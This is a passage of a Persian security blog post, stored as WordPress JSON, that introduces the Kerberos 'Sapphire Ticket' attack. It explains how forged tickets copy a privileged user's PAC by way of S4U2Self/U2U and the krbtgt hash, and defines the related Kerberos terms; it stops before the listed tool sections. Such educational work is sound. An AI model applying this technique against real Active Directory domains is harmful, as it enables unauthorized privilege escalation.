{"id":19338,"date":"2025-05-13T12:09:03","date_gmt":"2025-05-13T08:39:03","guid":{"rendered":"https:\/\/liangroup.net\/blog\/?p=19338"},"modified":"2025-05-13T12:09:03","modified_gmt":"2025-05-13T08:39:03","slug":"sapphire-ticket-attack-abusing-kerberos-trust","status":"publish","type":"post","link":"https:\/\/liangroup.net\/blog\/sapphire-ticket-attack-abusing-kerberos-trust\/","title":{"rendered":"\u062d\u0645\u0644\u0647\u200c\u06cc Sapphire Ticket \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0645\u062e\u0631\u0628 \u0627\u0632 \u0633\u0627\u0632\u0648\u06a9\u0627\u0631 \u0627\u0639\u062a\u0645\u0627\u062f \u062f\u0631 \u067e\u0631\u0648\u062a\u06a9\u0644 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a Kerberos"},"content":{"rendered":"

\u062d\u0645\u0644\u0627\u062a Sapphire Ticket \u0634\u06a9\u0644\u06cc \u067e\u06cc\u0634\u0631\u0641\u062a\u0647 \u0627\u0632 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u067e\u0631\u0648\u062a\u06a9\u0644 Kerberos \u062f\u0631 \u0645\u062d\u06cc\u0637\u200c\u0647\u0627\u06cc Active Directory \u0628\u0647\u200c\u0634\u0645\u0627\u0631 \u0645\u06cc\u200c\u0631\u0648\u0646\u062f. \u0628\u0627 \u06af\u0633\u062a\u0631\u0634 \u0631\u0648\u0632\u0627\u0641\u0632\u0648\u0646 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 Active Directory\u060c \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0646\u06cc\u0632 \u0628\u0647\u200c\u0637\u0648\u0631 \u0645\u062f\u0627\u0648\u0645 \u062f\u0631 \u062d\u0627\u0644 \u062a\u06a9\u0627\u0645\u0644 \u0631\u0648\u0634\u200c\u0647\u0627\u06cc \u062e\u0648\u062f \u0628\u0631\u0627\u06cc \u062f\u0648\u0631 \u0632\u062f\u0646 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0647\u0633\u062a\u0646\u062f. \u0628\u0647\u200c\u0639\u0646\u0648\u0627\u0646 \u0646\u0645\u0648\u0646\u0647\u060c \u062f\u0631 \u062a\u062d\u0648\u0644\u0627\u062a \u0627\u062e\u06cc\u0631 \u0627\u06cc\u0646 \u062d\u0648\u0632\u0647\u060c \u062d\u0645\u0644\u0627\u062a Diamond Ticket \u0648 Sapphire Ticket \u0645\u0639\u0631\u0641\u06cc \u0634\u062f\u0647\u200c\u0627\u0646\u062f \u06a9\u0647 \u0647\u0631 \u06cc\u06a9 \u0627\u0645\u06a9\u0627\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u063a\u06cc\u0631\u0645\u062c\u0627\u0632 \u0628\u0647 \u0645\u0646\u0627\u0628\u0639 \u0645\u062d\u0627\u0641\u0638\u062a\u200c\u0634\u062f\u0647 \u062f\u0631 \u062f\u0627\u0645\u0646\u0647\u200c\u0647\u0627\u06cc Active Directory \u0631\u0627 \u0628\u0631\u0627\u06cc \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f.<\/span><\/p>\n

\u062f\u0631 \u0645\u0642\u0627\u06cc\u0633\u0647\u060c Sapphire Tickets \u0646\u0633\u062e\u0647\u200c\u06cc \u062a\u06a9\u0627\u0645\u0644\u200c\u06cc\u0627\u0641\u062a\u0647\u200c\u0627\u06cc \u0627\u0632 Diamond Ticket \u0647\u0633\u062a\u0646\u062f\u060c \u0628\u0627 \u0627\u06cc\u0646 \u062a\u0641\u0627\u0648\u062a \u06a9\u0647 \u0628\u0647\u200c\u0645\u0631\u0627\u062a\u0628 \u067e\u0646\u0647\u0627\u0646\u200c\u06a9\u0627\u0631\u0627\u0646\u0647\u200c\u062a\u0631 \u0639\u0645\u0644 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f. \u0627\u06cc\u0646 \u0628\u0644\u06cc\u062a\u200c\u0647\u0627 \u062f\u0631 \u0638\u0627\u0647\u0631 \u06a9\u0627\u0645\u0644\u0627\u064b \u0645\u0639\u062a\u0628\u0631 \u0647\u0633\u062a\u0646\u062f\u061b \u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c \u062f\u0631 \u062d\u0627\u0644\u06cc\u200c\u06a9\u0647 \u062f\u0631 \u062d\u0645\u0644\u0647\u200c\u06cc Diamond Ticket\u060c \u0628\u062e\u0634 PAC (Privilege Attribute Certificate) \u062f\u0633\u062a\u06a9\u0627\u0631\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u062f\u0631 \u062d\u0645\u0644\u0647\u200c\u06cc Sapphire Tickets \u060c \u0627\u06cc\u0646 \u0628\u062e\u0634 \u0628\u0647\u200c\u0637\u0648\u0631 \u06a9\u0627\u0645\u0644 \u0628\u0627 PAC \u06cc\u06a9 \u06a9\u0627\u0631\u0628\u0631 \u062f\u0627\u0631\u0627\u06cc \u0627\u0645\u062a\u06cc\u0627\u0632 \u0628\u0627\u0644\u0627 \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u0645\u06cc\u200c\u06af\u0631\u062f\u062f.<\/span><\/p>\n

\u062f\u0631 \u0627\u06cc\u0646 \u0645\u0642\u0627\u0644\u0647\u060c \u0628\u0647\u200c\u0635\u0648\u0631\u062a \u0639\u0645\u06cc\u0642 \u0628\u0647 \u0633\u0627\u0632\u0648\u06a9\u0627\u0631 \u062d\u0645\u0644\u0627\u062a Sapphire Tickets \u062e\u0648\u0627\u0647\u06cc\u0645 \u067e\u0631\u062f\u0627\u062e\u062a.<\/span><\/p>\n

\u0641\u0647\u0631\u0633\u062a \u0645\u0637\u0627\u0644\u0628<\/strong><\/h2>\n
    \n
  1. Sapphire Ticket<\/span><\/li>\n
  2. \u0627\u0635\u0637\u0644\u0627\u062d\u0627\u062a \u0641\u0646\u06cc<\/span><\/li>\n
  3. \u067e\u06cc\u0627\u062f\u0647\u200c\u0633\u0627\u0632\u06cc \u0622\u0632\u0645\u0627\u06cc\u0634\u06af\u0627\u0647 (Lab Setup)<\/span><\/li>\n
  4. \u0645\u0631\u062d\u0644\u0647\u200c\u06cc \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u2013 \u062d\u0645\u0644\u0647\u200c\u06cc Sapphire Ticket<\/span><\/li>\n
  5. \u0631\u0648\u0634\u200c\u0647\u0627\u06cc \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc<\/span>\n
      \n
    • Impacket<\/em><\/span><\/li>\n
    • nxc<\/em><\/span><\/li>\n
    • Metasploit<\/em><\/span><\/li>\n<\/ul>\n<\/li>\n
    • \u062c\u0645\u0639\u200c\u0628\u0646\u062f\u06cc<\/span><\/li>\n<\/ol>\n

      \u0645\u0642\u062f\u0645\u0647<\/strong><\/h2>\n

      Sapphire Ticket \u0639\u0645\u0644\u06a9\u0631\u062f\u06cc \u0645\u0634\u0627\u0628\u0647 Diamond Ticket \u062f\u0627\u0631\u062f\u061b \u0628\u0647 \u0627\u06cc\u0646 \u0645\u0639\u0646\u0627 \u06a9\u0647 \u06cc\u06a9 \u0628\u0644\u06cc\u062a TGT \u0645\u0639\u062a\u0628\u0631 \u0628\u0647\u200c\u062f\u0633\u062a \u0645\u06cc\u200c\u0622\u0648\u0631\u062f \u0648 \u0633\u067e\u0633 \u062f\u0627\u062f\u0647\u200c\u0647\u0627\u06cc \u0645\u0648\u062c\u0648\u062f \u062f\u0631 PAC \u0622\u0646 \u0631\u0627 \u062f\u0631 \u06cc\u06a9 \u0628\u0644\u06cc\u062a \u062c\u0639\u0644\u06cc \u06a9\u067e\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f.<\/span><\/p>\n

      \u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c \u062a\u0641\u0627\u0648\u062a \u06a9\u0644\u06cc\u062f\u06cc \u062f\u0631 \u06cc\u06a9 \u0645\u0631\u062d\u0644\u0647\u200c\u06cc \u0627\u0636\u0627\u0641\u06cc \u0646\u0647\u0641\u062a\u0647 \u0627\u0633\u062a: \u062f\u0631 \u062d\u0645\u0644\u0647\u200c\u06cc Sapphire Ticket \u060c \u0645\u0647\u0627\u062c\u0645 \u0628\u0647 \u062c\u0627\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 PAC \u0628\u0647\u200c\u062f\u0633\u062a\u200c\u0622\u0645\u062f\u0647 \u0627\u0632 \u0641\u0631\u0622\u06cc\u0646\u062f \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0627\u0648\u0644\u06cc\u0647\u060c \u0641\u0631\u0622\u06cc\u0646\u062f\u06cc \u0645\u062c\u0632\u0627 \u0631\u0627 \u0628\u0631\u0627\u06cc \u062f\u0633\u062a\u06cc\u0627\u0628\u06cc \u0628\u0647 PAC \u06cc\u06a9 \u06a9\u0627\u0631\u0628\u0631 \u062f\u06cc\u06af\u0631\u2014\u06a9\u0647 \u0645\u0639\u0645\u0648\u0644\u0627\u064b \u062f\u0627\u0631\u0627\u06cc \u0633\u0637\u062d \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0627\u0644\u0627\u062a\u0631\u06cc \u0627\u0633\u062a\u2014\u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u200c\u062f\u0647\u062f.<\/span><\/p>\n

      \u0627\u06cc\u0646 \u0641\u0631\u0627\u06cc\u0646\u062f \u0634\u0627\u0645\u0644 \u0645\u0631\u0627\u062d\u0644 \u0632\u06cc\u0631 \u0627\u0633\u062a:<\/span><\/p>\n

        \n
      1. \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0628\u0627 KDC<\/span>
        \n\u0645\u0647\u0627\u062c\u0645 \u0628\u0627 \u0628\u0647\u0631\u0647\u200c\u06af\u06cc\u0631\u06cc \u0627\u0632 \u0627\u0641\u0632\u0648\u0646\u0647\u200c\u0647\u0627\u06cc S4U2Self \u0648 U2U\u060c \u06cc\u06a9 Ticket Granting Service (TGS) \u0628\u0631\u0627\u06cc \u06a9\u0627\u0631\u0628\u0631\u06cc \u0628\u0627 \u0633\u0637\u062d \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0627\u0644\u0627 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0645\u06cc\u200c\u06a9\u0646\u062f. \u062f\u0631 \u0646\u062a\u06cc\u062c\u0647\u060c \u0633\u06cc\u0633\u062a\u0645 \u06cc\u06a9 PAC (Privilege Attribute Certificate) \u062a\u0648\u0644\u06cc\u062f \u0645\u06cc\u200c\u06a9\u0646\u062f \u06a9\u0647 \u062f\u0627\u062f\u0647\u200c\u0647\u0627\u06cc \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0633\u0637\u062d \u062f\u0633\u062a\u0631\u0633\u06cc \u06a9\u0627\u0631\u0628\u0631 \u0648\u0627\u0642\u0639\u06cc \u0631\u0627 \u0628\u0627\u0632\u062a\u0627\u0628 \u0645\u06cc\u200c\u062f\u0647\u062f\u061b \u0627\u06af\u0631\u0686\u0647 \u0628\u0644\u06cc\u062a \u062d\u0627\u0635\u0644 \u0645\u0633\u062a\u0642\u06cc\u0645\u0627\u064b \u062f\u0631 \u0632\u0645\u06cc\u0646\u0647\u200c\u0647\u0627\u06cc \u062f\u0627\u0631\u0627\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0627\u0644\u0627 \u0642\u0627\u0628\u0644 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0646\u06cc\u0633\u062a.<\/span><\/li>\n
      2. \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u062f\u0627\u062f\u0647\u200c\u0647\u0627\u06cc PAC<\/span><\/li>\n
      3. \u062f\u0633\u062a\u200c\u06a9\u0627\u0631\u06cc PAC \u062c\u0639\u0644\u200c\u0634\u062f\u0647 \u0628\u0647\u200c\u06af\u0648\u0646\u0647\u200c\u0627\u06cc \u06a9\u0647 \u0628\u0627 \u0648\u06cc\u0698\u06af\u06cc\u200c\u0647\u0627\u06cc TGT \u0645\u0639\u062a\u0628\u0631 \u0645\u0637\u0627\u0628\u0642\u062a \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u062f<\/span><\/li>\n
      4. \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0628\u0644\u06cc\u062a \u062c\u0639\u0644\u200c\u0634\u062f\u0647 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0647\u0634 krbtgt<\/span><\/li>\n<\/ol>\n

        \u0645\u0634\u0627\u0628\u0647 \u0628\u0644\u06cc\u062a\u200c\u0647\u0627\u06cc Golden \u0648 Diamond\u060c \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0628\u0631\u0627\u06cc \u0633\u0627\u062e\u062a \u06cc\u06a9 \u0628\u0644\u06cc\u062a Sapphire \u0646\u06cc\u0632 \u0628\u0627\u06cc\u062f \u0628\u0647 \u0647\u0634 \u062d\u0633\u0627\u0628 krbtgt \u062f\u0627\u0645\u0646\u0647 \u062f\u0633\u062a\u0631\u0633\u06cc \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u0646\u062f. \u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c \u0628\u0631\u062e\u0644\u0627\u0641 \u0622\u0646 \u0646\u0648\u0639 \u0628\u0644\u06cc\u062a\u200c\u0647\u0627\u060c \u062f\u0631 \u0627\u06cc\u0646 \u062d\u0645\u0644\u0647 \u0646\u06cc\u0627\u0632\u06cc \u0628\u0647 \u062f\u0631 \u0627\u062e\u062a\u06cc\u0627\u0631 \u062f\u0627\u0634\u062a\u0646 DOMAIN_SID \u0648 DOMAIN_RID \u0646\u06cc\u0633\u062a\u061b \u0686\u0631\u0627\u06a9\u0647 \u0627\u06cc\u0646 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u0633\u062a\u0642\u06cc\u0645\u0627\u064b \u0627\u0632 TGT \u0645\u0639\u062a\u0628\u0631\u06cc \u06a9\u0647 \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u0634\u062f\u0647 \u0627\u0633\u062a\u060c \u0628\u0627\u0632\u06cc\u0627\u0628\u06cc \u0645\u06cc\u200c\u0634\u0648\u0646\u062f.<\/span><\/p>\n

        \u0627\u0635\u0637\u0644\u0627\u062d\u0627\u062a \u0641\u0646\u06cc \u06a9\u0644\u06cc\u062f\u06cc<\/strong><\/h2>\n
          \n
        1. Kerberos<\/strong>
          \n\u06cc\u06a9 \u067e\u0631\u0648\u062a\u06a9\u0644 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0634\u0628\u06a9\u0647\u200c\u0627\u06cc \u06a9\u0647 \u0628\u0647\u200c\u0637\u0648\u0631 \u06af\u0633\u062a\u0631\u062f\u0647 \u062f\u0631 \u0645\u062d\u06cc\u0637\u200c\u0647\u0627\u06cc Active Directory \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f. Kerberos \u0627\u0632 \u0628\u0644\u06cc\u062a\u200c\u0647\u0627 \u0628\u0631\u0627\u06cc \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0648 \u0627\u0631\u0627\u0626\u0647 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0645\u0646\u0627\u0628\u0639 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f.<\/li>\n
        2. KDC (Key Distribution Center)<\/strong>
          \n\u0645\u0631\u06a9\u0632 \u062a\u0648\u0632\u06cc\u0639 \u06a9\u0644\u06cc\u062f\u060c \u06cc\u06a9\u06cc \u0627\u0632 \u0627\u062c\u0632\u0627\u06cc \u0627\u0635\u0644\u06cc Kerberos \u06a9\u0647 \u0648\u0638\u06cc\u0641\u0647 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0648 \u0635\u062f\u0648\u0631 \u0628\u0644\u06cc\u062a\u200c\u0647\u0627 \u0631\u0627 \u0628\u0631 \u0639\u0647\u062f\u0647 \u062f\u0627\u0631\u062f. \u0627\u0632 \u062f\u0648 \u062c\u0632\u0621 \u0627\u0635\u0644\u06cc \u062a\u0634\u06a9\u06cc\u0644 \u0634\u062f\u0647 \u0627\u0633\u062a: AS (Authentication Service) \u0648 TGS (Ticket Granting Service).<\/li>\n
        3. TGT (Ticket Granting Ticket)<\/strong>
          \n\u0628\u0644\u06cc\u062a\u06cc \u06a9\u0647 \u067e\u0633 \u0627\u0632 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0627\u0648\u0644\u06cc\u0647 \u0635\u0627\u062f\u0631 \u0645\u06cc\u200c\u0634\u0648\u062f \u0648 \u0628\u0631\u0627\u06cc \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0633\u0627\u06cc\u0631 \u0628\u0644\u06cc\u062a\u200c\u0647\u0627\u06cc \u0633\u0631\u0648\u06cc\u0633 (TGS) \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f.<\/li>\n
        4. TGS (Ticket Granting Service)<\/strong>
          \n\u0628\u062e\u0634\u06cc \u0627\u0632 KDC \u06a9\u0647 \u0628\u0644\u06cc\u062a\u200c\u0647\u0627\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0633\u0631\u0648\u06cc\u0633\u200c\u0647\u0627\u06cc \u0634\u0628\u06a9\u0647 \u0631\u0627 \u0635\u0627\u062f\u0631 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0645\u0639\u0645\u0648\u0644\u0627\u064b \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 TGT \u0627\u0631\u0627\u0626\u0647\u200c\u0634\u062f\u0647 \u062a\u0648\u0633\u0637 \u06a9\u0627\u0631\u0628\u0631.<\/li>\n
        5. krbtgt account\/hash<\/strong>
          \n\u062d\u0633\u0627\u0628 \u0633\u0631\u0648\u06cc\u0633 Kerberos \u062f\u0631 \u062f\u0627\u0645\u06cc\u0646 \u06a9\u0646\u062a\u0631\u0644\u0631 \u06a9\u0647 \u0628\u0631\u0627\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0648 \u0627\u0645\u0636\u0627\u06cc \u0628\u0644\u06cc\u062a\u200c\u0647\u0627\u06cc \u0635\u0627\u062f\u0631\u0634\u062f\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f. \u0647\u0634 \u0627\u06cc\u0646 \u062d\u0633\u0627\u0628 (krbtgt hash) \u06cc\u06a9\u06cc \u0627\u0632 \u06a9\u0644\u06cc\u062f\u06cc\u200c\u062a\u0631\u06cc\u0646 \u0627\u0647\u062f\u0627\u0641 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u062f\u0631 \u062d\u0645\u0644\u0627\u062a Kerberos \u0627\u0633\u062a.<\/li>\n
        6. Golden Ticket<\/strong>
          \n\u0646\u0648\u0639\u06cc \u062d\u0645\u0644\u0647 \u062f\u0631 Kerberos \u06a9\u0647 \u062f\u0631 \u0622\u0646 \u0645\u0647\u0627\u062c\u0645 \u0628\u0627 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 krbtgt hash \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f TGT \u062c\u0639\u0644\u06cc \u0627\u06cc\u062c\u0627\u062f \u06a9\u0646\u062f \u0648 \u062f\u0633\u062a\u0631\u0633\u06cc \u0646\u0627\u0645\u062d\u062f\u0648\u062f \u0628\u0647 \u0645\u0646\u0627\u0628\u0639 \u062f\u0627\u0645\u0646\u0647 \u0628\u0647\u200c\u062f\u0633\u062a \u0622\u0648\u0631\u062f.<\/li>\n
        7. Diamond Ticket<\/strong>
          \n\u0646\u0648\u0639\u06cc \u062d\u0645\u0644\u0647 \u067e\u06cc\u0634\u0631\u0641\u062a\u0647\u200c\u062a\u0631 \u0627\u0632 Golden Ticket \u06a9\u0647 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f PAC \u0631\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0644\u062e\u0648\u0627\u0647 \u0628\u0633\u0627\u0632\u062f \u0648 \u062f\u0631 TGS \u06af\u0646\u062c\u0627\u0646\u062f\u0647 \u0634\u0648\u062f\u060c \u062d\u062a\u06cc \u0628\u062f\u0648\u0646 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 SID\/RID \u06a9\u0627\u0631\u0628\u0631 \u0648\u0627\u0642\u0639\u06cc.<\/li>\n
        8. Sapphire Ticket<\/strong>
          \n\u06af\u0648\u0646\u0647\u200c\u0627\u06cc \u0627\u0632 \u062d\u0645\u0644\u0647 \u0645\u0634\u0627\u0628\u0647 \u0628\u0627 Golden \u0648 Diamond Ticket\u060c \u0627\u0645\u0627 \u0628\u0627 \u0642\u0627\u0628\u0644\u06cc\u062a \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0636\u0631\u0648\u0631\u06cc (\u0645\u0627\u0646\u0646\u062f SID \u0648 RID) \u0627\u0632 \u06cc\u06a9 TGT \u0645\u0639\u062a\u0628\u0631\u060c \u06a9\u0647 \u0645\u0648\u062c\u0628 \u06a9\u0627\u0647\u0634 \u0648\u0627\u0628\u0633\u062a\u06af\u06cc \u0628\u0647 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u062e\u0627\u0631\u062c\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f.<\/li>\n
        9. PAC (Privilege Attribute Certificate)<\/strong>
          \n\u0633\u0627\u062e\u062a\u0627\u0631\u06cc \u062f\u0631\u0648\u0646 \u0628\u0644\u06cc\u062a Kerberos \u06a9\u0647 \u0634\u0627\u0645\u0644 \u0627\u0637\u0644\u0627\u0639\u0627\u062a\u06cc \u062f\u0631\u0628\u0627\u0631\u0647 \u0645\u062c\u0648\u0632\u0647\u0627\u060c \u06af\u0631\u0648\u0647\u200c\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0648 \u0633\u0627\u06cc\u0631 \u0648\u06cc\u0698\u06af\u06cc\u200c\u0647\u0627\u06cc \u06a9\u0627\u0631\u0628\u0631 \u0627\u0633\u062a. \u0647\u062f\u0641 \u0627\u0635\u0644\u06cc \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u062d\u0645\u0644\u0627\u062a \u062c\u0639\u0644 \u0628\u0644\u06cc\u062a\u060c \u062a\u063a\u06cc\u06cc\u0631 PAC \u0627\u0633\u062a.<\/li>\n
        10. SID (Security Identifier)<\/strong>
          \n\u0634\u0646\u0627\u0633\u0647 \u0645\u0646\u062d\u0635\u0631\u0628\u0647\u200c\u0641\u0631\u062f\u06cc \u06a9\u0647 \u0628\u0631\u0627\u06cc \u0647\u0631 \u06a9\u0627\u0631\u0628\u0631\u060c \u06af\u0631\u0648\u0647 \u06cc\u0627 \u062d\u0633\u0627\u0628 \u0633\u0631\u0648\u06cc\u0633 \u062f\u0631 \u062f\u0627\u0645\u0646\u0647 \u062a\u0639\u0631\u06cc\u0641 \u0645\u06cc\u200c\u0634\u0648\u062f. \u0646\u0645\u0648\u0646\u0647\u200c\u0627\u06cc \u0627\u0632 SID: S-1-5-21-3623811015-3361044348-30300820-1013.<\/li>\n
        11. RID (Relative Identifier)<\/strong>
          \n\u0628\u062e\u0634 \u067e\u0627\u06cc\u0627\u0646\u06cc SID \u06a9\u0647 \u0634\u0646\u0627\u0633\u0647 \u062e\u0627\u0635 \u06cc\u06a9 \u06a9\u0627\u0631\u0628\u0631 \u06cc\u0627 \u06af\u0631\u0648\u0647 \u062f\u0631 \u062f\u0627\u062e\u0644 \u062f\u0627\u0645\u0646\u0647 \u0631\u0627 \u0645\u0634\u062e\u0635 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0645\u062b\u0627\u0644\u060c \u062f\u0631 SID \u0641\u0648\u0642\u060c \u0639\u062f\u062f \u06f1\u06f0\u06f1\u06f3 \u06cc\u06a9 RID \u0627\u0633\u062a.<\/li>\n
        12. S4U2Self (Service for User to Self)<\/strong>
          \n\u0627\u0641\u0632\u0648\u0646\u0647\u200c\u0627\u06cc \u062f\u0631 Kerberos \u06a9\u0647 \u0628\u0647 \u06cc\u06a9 \u0633\u0631\u0648\u06cc\u0633 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u0627\u0632 \u0637\u0631\u0641 \u06cc\u06a9 \u06a9\u0627\u0631\u0628\u0631 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u06a9\u0646\u062f\u060c \u0628\u062f\u0648\u0646 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u062f\u0627\u0634\u062a\u0646 \u0631\u0645\u0632 \u0639\u0628\u0648\u0631 \u06a9\u0627\u0631\u0628\u0631.<\/li>\n
        13. U2U (User to User)<\/strong>
          \n\u0642\u0627\u0628\u0644\u06cc\u062a\u06cc \u062f\u0631 Kerberos \u06a9\u0647 \u0627\u0645\u06a9\u0627\u0646 \u062a\u0639\u0627\u0645\u0644 \u0645\u0633\u062a\u0642\u06cc\u0645 \u0628\u06cc\u0646 \u062f\u0648 \u062d\u0633\u0627\u0628 \u06a9\u0627\u0631\u0628\u0631\u06cc \u0631\u0627 \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0645\u062b\u0644\u0627\u064b \u0632\u0645\u0627\u0646\u06cc \u06a9\u0647 \u06cc\u06a9 \u0633\u0631\u0648\u06cc\u0633 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u06a9\u0644\u06cc\u062f \u06a9\u0627\u0631\u0628\u0631 \u06af\u06cc\u0631\u0646\u062f\u0647 \u062f\u0627\u0631\u062f.<\/li>\n<\/ol>\n

          \u0627\u0641\u0632\u0648\u0646\u0647\u200c\u06cc S4U2Self \u062f\u0631 \u067e\u0631\u0648\u062a\u06a9\u0644 Kerberos \u0627\u06cc\u0646 \u0627\u0645\u06a9\u0627\u0646 \u0631\u0627 \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u200c\u0633\u0627\u0632\u062f \u06a9\u0647 \u06cc\u06a9 \u0633\u0631\u0648\u06cc\u0633\u060c \u0628\u0647 \u0646\u0645\u0627\u06cc\u0646\u062f\u06af\u06cc \u0627\u0632 \u06cc\u06a9 \u06a9\u0627\u0631\u0628\u0631\u060c \u0628\u0631\u0627\u06cc \u062e\u0648\u062f\u0634 \u0628\u0644\u06cc\u062a \u0633\u0631\u0648\u06cc\u0633 (Service Ticket) \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u06a9\u0646\u062f. \u0627\u06cc\u0646 \u0628\u0644\u06cc\u062a \u0634\u0627\u0645\u0644 \u062f\u0627\u062f\u0647\u200c\u0647\u0627\u06cc \u0645\u062c\u0648\u0632\u062f\u0647\u06cc \u06a9\u0627\u0631\u0628\u0631 \u0627\u0633\u062a\u2014\u06cc\u0639\u0646\u06cc \u06af\u0648\u0627\u0647\u06cc \u0648\u06cc\u0698\u06af\u06cc\u200c\u0647\u0627\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc (Privilege Attribute Certificate \u06cc\u0627 PAC)\u2014\u06a9\u0647 \u0633\u06cc\u0633\u062a\u0645 \u0627\u0632 \u0622\u0646 \u0628\u0631\u0627\u06cc \u062a\u0635\u0645\u06cc\u0645\u200c\u06af\u06cc\u0631\u06cc \u062f\u0631 \u06a9\u0646\u062a\u0631\u0644 \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f.<\/span><\/p>\n

          \u0628\u0631\u0627\u06cc \u0628\u0647\u0631\u0647\u200c\u06af\u06cc\u0631\u06cc \u0627\u0632 S4U2Self\u060c \u06a9\u0627\u0631\u0628\u0631 \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u200c\u06a9\u0646\u0646\u062f\u0647 \u0628\u0627\u06cc\u062f \u062d\u062f\u0627\u0642\u0644 \u062f\u0627\u0631\u0627\u06cc \u06cc\u06a9 \u0646\u0627\u0645 \u0627\u0635\u0644\u06cc \u0633\u0631\u0648\u06cc\u0633 (Service Principal Name \u06cc\u0627 SPN) \u062b\u0628\u062a\u200c\u0634\u062f\u0647 \u0628\u0627\u0634\u062f. \u0627\u06cc\u0646 SPN \u0628\u0647 \u06a9\u0646\u062a\u0631\u0644\u200c\u06a9\u0646\u0646\u062f\u0647 \u062f\u0627\u0645\u0646\u0647 (Domain Controller \u06cc\u0627 DC) \u0627\u062c\u0627\u0632\u0647 